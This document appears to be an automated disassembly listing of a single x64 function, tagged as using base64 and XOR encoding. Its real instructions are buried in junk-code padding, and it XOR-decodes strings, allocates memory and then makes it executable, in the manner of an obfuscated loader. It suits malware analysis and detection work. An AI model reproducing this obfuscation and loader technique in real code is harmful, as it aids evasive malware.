Function at 0x2edd7138d
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
movabs rax, 0x4c00320058003f
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x2f
push rdx
not dx
nop
nop
punpckhbw mm2, mm5
rol edx, 0x11
shr edx, 0x11
nop
pop rdx
lea rbx, [rsp + 0x40]
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov rdx, rax
mov rax, rbx
cmp rdx, 2
lea rdx, [rsp + 0x4a]
jne 0x2edd7147d
cmp r13w, 0x66
jne 0x2edd7140b
push rcx
pslld mm7, 0x4f
push r13
pmaddwd mm0, mm6
neg r13
pop r13
packssdw mm1, mm3
pop rcx
jmp 0x2edd7141d
push rax
pand mm5, mm7
push r14
psrad mm5, 0x59
neg al
pop r14
dec rax
pop rax
push r8
shl r8b, 0x13
push r9
dec r8
not r9d
pop r9
neg r8b
pop r8
xor word [rax], 0x22
push rax
nop
push r9
andnps xmm13, xmm7
push rbx
subps xmm3, xmm9
push r8
maxss xmm2, xmm10
push r15
nop
push r11
dec r11d
pop r11
emms
pop r15
punpcklbw mm6, mm3
pop r8
psrlw mm2, 0x14
pop rbx
addps xmm15, xmm5
pop r9
dec eax
pop rax
add rax, 2
cmp rax, rdx
jne 0x2edd713dc
jmp 0x2edd7150d
cmp r13d, r14d
jne 0x2edd714a6
push rbx
nop
push r12
comiss xmm8, xmm4
shr bx, 9
pop r12
nop
pop rbx
jmp 0x2edd714b6
push rax
inc eax
push r15
emms
sub ax, 0x15
pop r15
emms
pop rax
push r9
psllq mm7, 0x17
push rdx
emms
inc edx
pop rdx
movups xmm1, xmm15
pop r9
xor word [rax], 4
push r10
sbb r10d, 9
psrlw mm7, 0x47
nop
push rdx
xorps xmm9, xmm5
not edx
por mm5, mm4
push rax
psrld mm7, 6
inc r10
rcr ax, 0xf
pop rax
psrlq mm0, 0x58
emms
inc edx
pop rdx
inc r10
nop
neg r10b
pop r10
add rax, 2
cmp rax, rdx
jne 0x2edd7147d
push r12
not r12w
push r9
movhlps xmm1, xmm11
push r15
psrld mm5, 0x30
push r11
subps xmm2, xmm9
pop r11
rol r15w, 0x11
pop r15
sar r12, 0x15
pop r9
movlhps xmm1, xmm12
pop r12
push rbx
ror bl, 0xf
nop
push rax
pslld mm4, 0x3f
dec ebx
push r8
addps xmm11, xmm14
psrad mm6, 0x37
push r13
punpckhbw mm6, mm1
sar al, 0x13
pop r13
maxps xmm4, xmm2
xadd ax, bx
pop r8
nop
mulss xmm5, xmm8
pop rax
shr rbx, 4
not rbx
pop rbx
push r15
pcmpeqw mm7, mm5
push rdx
paddusw mm6, mm2
push rbx
nop
push rcx
nop
push r14
psrlq mm1, 0x46
pop r14
nop
pop rcx
nop
pop rbx
maxps xmm11, xmm1
pop rdx
nop
pop r15
call fcn.2edd84035
xor eax, eax
mov qword [rsp + 0x38], rax
push r14
emms
dec r14d
paddd mm6, mm7
psrlw mm0, 0x31
push r13
shr r13, 8
psrad mm2, 0x43
nop
nop
pop r13
nop
not r14
nop
pmaxsw mm6, mm1
pop r14
mov qword [rsp + 0x40], 0x40
push rcx
inc ecx
subss xmm9, xmm8
push r15
psraw mm7, 0x59
pop r15
emms
sub rcx, 0xe
pop rcx
call fcn.2edd8413b
xor edx, edx
mov dword [rsp + 0x34], edx
cmp r13b, r10b
je 0x2edd716f6
cmp r13, 0x3b
jne 0x2edd7160c
push rax
pcmpeqd mm6, mm3
pop rax
jmp 0x2edd71612
push r11
emms
pop r11
push r13
rcr r13w, 0x12
pop r13
cmp r9w, 0x35
je 0x2edd71757
push r9
mov r9, 2
push r8
push r15
pop r15
pop r8
dec r9
jne 0x2edd7162f
pop r9
cmp rdx, 0x46
je 0x2edd7177a
push r9
pslld mm5, 0xd
movhlps xmm3, xmm1
rcpss xmm14, xmm8
push rdx
psrlw mm1, 0x27
emms
xor r9, rdx
push rcx
inc r9
emms
psrad mm4, 0x19
pop rcx
xor dl, r9b
not edx
dec edx
pop rdx
por mm6, mm1
inc r9d
andps xmm14, xmm4
pop r9
cmp r14d, 0x28
je 0x2edd717ae
push r13
neg r13
psrlq mm6, 0x5a
push r11
psrlw mm1, 0x58
pop r11
inc r13
mov r13w, 0xd
pop r13
cmp r15, rax
je 0x2edd717c0
push r11
nop
push r12
and r12d, r11d
push r8
psrld mm0, 0x32
push r13
psraw mm4, 0x3d
push rcx
nop
push r14
movaps xmm5, xmm6
push rax
pminsw mm7, mm0
pop rax
nop
pop r14
neg r12
pop rcx
paddw mm7, mm6
pop r13
add r11d, r12d
pop r8
rcr r12b, 0xb
pop r12
nop
pop r11
cmp cl, r8b
je 0x2edd717d9
jne 0x2edd717ec
push rdx
not edx
push rbx
movhlps xmm5, xmm6
nop
push r9
psllq mm7, 0x1d
mulps xmm4, xmm11
neg r9b
push r10
andps xmm10, xmm9
movaps xmm9, xmm5
shr ebx, 0x12
xadd rdx, r10
push r15
pminsw mm5, mm4
xadd r15, r10
xadd r9, rdx
comiss xmm8, xmm0
nop
pop r15
sar rbx, 0xc
paddusb mm3, mm4
psraw mm3, 0x60
emms
pop r10
inc r9
emms
rcr r9w, 0x16
pop r9
nop
neg ebx
pop rbx
emms
pop rdx
jmp 0x2edd717ec
push r8
movups xmm0, xmm5
push rdx
emms
push r15
nop
push r13
orps xmm9, xmm13
pop r13
emms
pop r15
test edx, r8d
pop rdx
not r8w
pop r8
jmp 0x2edd717ec
push rbx
nop
nop
emms
push rcx
and rcx, rbx
nop
psllq mm0, 0x4d
push r11
not ecx
sar r11b, 0xa
sbb r11d, 7
pop r11
nop
sar ecx, 0x11
psrad mm7, 0x54
pop rcx
psraw mm6, 0x43
punpckhbw mm4, mm2
maxss xmm15, xmm2
pop rbx
jmp 0x2edd717ec
push rcx
pmaxub mm5, mm0
push r9
ucomiss xmm12, xmm3
pop r9
mulps xmm1, xmm7
pop rcx
jmp 0x2edd717ec
push r11
psrad mm3, 0x14
psrld mm0, 0x3c
mov r11b, 5
nop
nop
emms
andps xmm13, xmm1
pop r11
jmp 0x2edd717ec
push r13
emms
nop
push r15
nop
pop r15
inc r13d
sbb r13b, 0x17
pop r13
cmp r13d, r12d
jne 0x2edd717f9
push rbx
maxps xmm6, xmm8
pop rbx
jmp 0x2edd71800
push r13
punpcklwd mm0, mm1
pop r13
push rdx
neg dl
pop rdx
mov ecx, 3
mov edx, 1
call sub.msvcrt.dll_calloc
mov rcx, rax
xor eax, eax
push r11
nop
nop
sub r11w, 4
packuswb mm0, mm3
push r15
comiss xmm14, xmm15
psllq mm4, 0x39
cmp r15b, r11b
sub r15, r11
pop r15
nop
maxss xmm0, xmm15
punpcklwd mm0, mm7
nop
pop r11
xor byte [rcx + rax], 0x61
push r15
nop
push r8
paddw mm0, mm3
push rax
minps xmm4, xmm1
push rdx
add r8, r15
push rcx
or r8w, dx
pop rcx
ucomiss xmm3, xmm11
pop rdx
inc rax
pop rax
dec r15d
pop r8
rcpps xmm10, xmm2
pop r15
inc rax
cmp rax, 3
jne 0x2edd71818
call sub.msvcrt.dll_free
push rbx
nop
push r11
xor r11, rbx
emms
push r9
ucomiss xmm11, xmm6
psrld mm7, 0x5d
pslld mm1, 0x67
push rcx
and r11b, bl
nop
minps xmm3, xmm9
nop
pop rcx
test r9, r11
rol r11, 0xf
nop
pop r9
movups xmm7, xmm15
movaps xmm8, xmm0
pop r11
rcr rbx, 5
pop rbx
xor r8d, r8d
lea rdx, [rsp + 0x38]
mov r9, rbx
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call fcn.2edd8176a
cmp r13, 0x2e
jne 0x2edd7190a
push r13
sar r13, 0x11
push rcx
paddusb mm2, mm1
ucomiss xmm4, xmm2
pop rcx
sbb r13d, 0x13
pop r13
jmp 0x2edd7191e
push r15
inc r15d
push r11
nop
pand mm6, mm7
pop r11
sbb r15w, 9
pop r15
push r9
neg r9b
push r12
pcmpeqd mm2, mm6
sbb r9d, r12d
pop r12
neg r9d
pop r9
call sym.BringDouble.dll_MsgStartupEntriesPrinter
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x34]
xor ecx, ecx
mov r8d, 0x40
call fcn.2edd80ec6
push rax
psrlw mm3, 0x62
push r11
nop
push rdx
movlhps xmm0, xmm5
push r14
dec r11
push rcx
psrld mm7, 0x33
push r13
dec rdx
pop r13
nop
pop rcx
neg r11d
pop r14
shl ax, 0x16
pop rdx
emms
pop r11
nop
pop rax
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx + 8]
mov edx, dword [rdx + 0xc]
shr eax, 0xa
shr edx, 0xa
imul eax, edx
push rbx
mov rbx, 2
push r9
push r8
pop r8
pop r9
dec rbx
jne 0x2edd71999
pop rbx
cmp eax, 0x3ff
ja 0x2edd71b07
push r10
subss xmm12, xmm11
push r13
pcmpeqw mm2, mm7
nop
push r8
mulss xmm14, xmm12
emms
mov r8d, 6
push r12
not r13d
neg r13
neg r12d
or r13, r10
push rcx
minps xmm13, xmm14
punpckhbw mm1, mm5
dec rcx
addps xmm11, xmm13
rcpss xmm11, xmm3
pop rcx
nop
movups xmm14, xmm7
psubusw mm5, mm4
nop
pop r12
movhlps xmm5, xmm6
nop
emms
pop r8
emms
nop
pop r13
psrld mm1, 0x2b
pop r10
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov rcx, rax
push r9
dec r9
push r10
rcpps xmm4, xmm0
push rcx
emms
push r14
dec r10d
pop r14
or r9w, cx
pop rcx
add r10b, r9b
pop r10
ror r9b, 0xd
pop r9
mov edx, pe_nt_image_headers64
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rdx
addps xmm2, xmm3
psllq mm5, 0x2e
sar dl, 5
push r13
psrld mm0, 0x3b
pmulhuw mm2, mm0
emms
push r11
andnps xmm3, xmm8
sbb r13d, 0x12
push rax
add dl, r11b
pmullw mm0, mm5
pop rax
dec r13
nop
sub r11, 0xb
pop r11
emms
nop
pop r13
psrad mm2, 0x37
nop
pop rdx
xor dword [rcx + rax*4], 0x67
push r12
mov r12, 2
push r12
inc r12
push r10
cmp r10b, r12b
push r8
psrld mm0, 0x14
push r11
psllq mm7, 0x47
push r14
emms
push rbx
nop
pop rbx
sbb r11b, r10b
pop r14
psrld mm2, 0x21
pop r11
psraw mm3, 0x63
pop r8
mulss xmm15, xmm13
pop r10
emms
pop r12
dec r12
jne 0x2edd71a99
pop r12
inc rax
cmp rax, 4
jne 0x2edd71a4f
call sub.msvcrt.dll_free
push r8
inc r8
push r13
emms
shr r8, 0xd
pop r13
rcl r8b, 8
pop r8
mov eax, 1
jmp 0x2edd71b24
push r8
sar r8d, 0xb
sbb r8d, 1
pand mm0, mm7
rcl r8d, 8
nop
punpckhwd mm5, mm7
sbb r8b, 0xe
pop r8
xor eax, eax
add rsp, 0x50
pop rbx
ret